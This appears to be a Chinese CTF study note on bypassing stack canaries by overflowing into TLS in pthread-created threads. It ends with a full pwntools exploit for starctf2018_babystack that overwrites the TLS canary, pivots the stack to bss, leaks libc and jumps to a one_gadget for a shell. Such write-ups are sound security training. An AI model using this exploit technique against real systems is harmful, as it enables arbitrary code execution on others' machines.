pth_create
CTFwiki:
1
| 已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
|
基础知识:
TLS_bypass_Canary - 先知社区 (aliyun.com)
劫持TLS绕过canary && 堆和栈的灵活转换 - CH13hh - 博客园 (cnblogs.com)
什么是TLScanary?
TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。
可见TLS和canary有着不可分割的关系
TLS的基本概念(pwn canary中)
TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。
其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。
在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。
pthread_create 说白了就是线程id放下了数组,然后创建的线程走start那个函数
1 2 3 4 5 6 7 8
| int pthread_create( pthread_t *restrict tidp, //新创建的线程ID指向的内存单元。 const pthread_attr_t *restrict attr, //线程属性,默认为NULL void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行 void *restrict arg //默认为NULL。若上述函数需要参数,将参数放入结构中并将地址作为arg传入。 );
|
pthread_join 使一个线程等待另一个线程结束
1 2 3 4
| int pthread_join(pthread_t thread, void **value_ptr); thread:等待退出线程的线程号。 value_ptr:退出线程的返回值。
|
适用条件:
pth_create创造的子进程中可以溢出大量字节,一般为0x900,要覆盖fs+0x28的canary
一般结合栈迁移来使用
调试 fsbase
TLS劫持过canary(TLS Hijack Bypass Canary) (grxer.github.io)

来个例题
starctf2018_babystack
有个0x10000的溢出字节,覆盖后执行栈迁移泄露libc_base,把栈迁到bss并构造一次read,最后打one_gadget


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import* from struct import pack import ctypes from LibcSearcher import * def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('/root/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
elf=ELF('./pwn')
p = process('./pwn') bss=0x602010 leave_ret=0x400A9B rdi=0x0000000000400c03 rsi_r15=0x0000000000400c01 rl("How many bytes do you want to send?") bug() sl(str(0x1900))
payload =b'a'*0x1010+p64(bss-8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts']) payload+=p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0)+p64(elf.plt['read']) payload+=p64(leave_ret) payload=payload.ljust(0x1900,b'a')
s(payload) libc_base=get_addr64()-libc.sym['puts'] pr(hex(libc_base)) ogg=[0x4f2c5,0x4f322,0x10a38c] one_gadget=libc_base+ogg[2] s(p64(one_gadget))
inter()
|